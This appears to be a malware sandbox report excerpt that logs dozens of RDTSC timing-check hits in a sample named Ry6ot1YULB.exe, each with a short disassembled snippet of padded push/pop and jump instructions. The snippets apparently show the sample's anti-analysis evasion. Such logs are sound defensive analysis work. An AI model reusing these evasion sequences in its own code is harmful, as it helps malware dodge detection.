Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1733B2A second address: 1733B30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17732F0 second address: 177330D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007F7B20B24F76h 0x0000000d jmp 00007F7B20B24F80h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1773459 second address: 177345F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177345F second address: 1773472 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7B20B24F76h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1773472 second address: 1773476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1773476 second address: 177347C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177347C second address: 177348E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7B2139E58Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177374F second address: 1773759 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7B20B24F7Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1773759 second address: 1773762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1773762 second address: 1773768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17738C5 second address: 17738CA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1773A27 second address: 1773A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B20B24F7Ch 0x00000009 jbe 00007F7B20B24F76h 0x0000000f popad 0x00000010 jmp 00007F7B20B24F7Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B3C8 second address: 177B3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B2139E592h 0x00000009 popad 0x0000000a pushad 0x0000000b jnc 00007F7B2139E586h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B3E9 second address: 177B3FE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7B20B24F87h 0x00000008 jmp 00007F7B20B24F7Bh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B3FE second address: 177B406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B406 second address: 177B417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B20B24F7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B417 second address: 177B41B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B41B second address: 177B42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B42C second address: 177B432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B432 second address: 177B43B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B43B second address: 177B43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B43F second address: 177B447 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B447 second address: 177B453 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F7B2139E586h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B453 second address: 177B459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B459 second address: 177B463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B463 second address: 177B467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177AF70 second address: 177AF78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B11E second address: 177B122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177B122 second address: 177B126 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177E1F8 second address: 177E1FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177E1FF second address: 177E207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177DC46 second address: 177DC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7B20B24F88h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177DC68 second address: 177DC6D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 177DC6D second address: 177DC87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7B20B24F83h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1784146 second address: 178414A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 178414A second address: 1784174 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F7B20B24F87h 0x0000000c jmp 00007F7B20B24F7Bh 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1784575 second address: 1784579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17846E2 second address: 17846E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1784AC6 second address: 1784B03 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7B2139E59Ah 0x00000008 jmp 00007F7B2139E58Eh 0x0000000d jc 00007F7B2139E586h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F7B2139E58Eh 0x0000001e jmp 00007F7B2139E58Dh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1784B03 second address: 1784B09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1784B09 second address: 1784B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F7B2139E598h 0x0000000e jns 00007F7B2139E586h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17854C2 second address: 17854D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F7B20B24F76h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17854D1 second address: 17854D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17854D5 second address: 17854EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F82h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 178966D second address: 1789671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1788F58 second address: 1788F94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F80h 0x00000007 jmp 00007F7B20B24F86h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F7B20B24F7Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F7B20B24F76h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1788F94 second address: 1788FD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E598h 0x00000007 jmp 00007F7B2139E58Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push ecx 0x00000010 jmp 00007F7B2139E591h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1788FD3 second address: 1788FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1788FD7 second address: 1788FDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1788FDB second address: 1788FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 178925B second address: 1789274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B2139E58Eh 0x00000009 jg 00007F7B2139E586h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1789274 second address: 178927A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 178927A second address: 1789288 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B2139E58Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 178C272 second address: 178C278 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1794467 second address: 179446F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179446F second address: 1794482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F7B20B24F76h 0x0000000a pushad 0x0000000b popad 0x0000000c jbe 00007F7B20B24F76h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1794482 second address: 179448C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7B2139E598h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179448C second address: 17944A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B20B24F7Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007F7B20B24F76h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1792570 second address: 1792575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1792AD1 second address: 1792AE0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7B20B24F7Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1792DB1 second address: 1792DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7B2139E586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1792DBB second address: 1792DCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1792DCF second address: 1792DD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1792DD4 second address: 1792DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1793667 second address: 179366E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179391D second address: 1793921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1793921 second address: 1793927 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1793927 second address: 1793931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 1793931 second address: 179393B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7B2139E586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179393B second address: 1793945 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7B20B24F76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17941BF second address: 17941C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17941C3 second address: 17941EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jp 00007F7B20B24F76h 0x0000000f jmp 00007F7B20B24F86h 0x00000014 popad 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C987 second address: 179C992 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F7B2139E586h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C992 second address: 179C998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179BB10 second address: 179BB32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F7B2139E594h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179BDFF second address: 179BE1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F7B20B24F76h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C10D second address: 179C111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C111 second address: 179C13A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F87h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 ja 00007F7B20B24F76h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C13A second address: 179C140 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C140 second address: 179C149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C149 second address: 179C15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7B2139E58Dh 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C15E second address: 179C17D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F7B20B24F86h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C17D second address: 179C181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C681 second address: 179C696 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jg 00007F7B20B24F76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C696 second address: 179C6AC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007F7B2139E586h 0x0000000f jo 00007F7B2139E586h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 179C6AC second address: 179C6B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A433E second address: 17A4344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A254E second address: 17A2555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A2935 second address: 17A2955 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7B2139E588h 0x00000008 jg 00007F7B2139E588h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 jc 00007F7B2139E586h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A2955 second address: 17A296B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F7B20B24F80h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A2C4C second address: 17A2C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7B2139E586h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A2C56 second address: 17A2C5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A2C5A second address: 17A2C60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A2FA4 second address: 17A2FD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7B20B24F87h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7B20B24F87h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A2FD8 second address: 17A2FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A212B second address: 17A2130 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17A2130 second address: 17A2138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17AB38F second address: 17AB3A2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F7B20B24F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jnl 00007F7B20B24F76h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Ry6ot1YULB.exeRDTSC instruction interceptor: First address: 17AB3A2 second address: 17AB3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
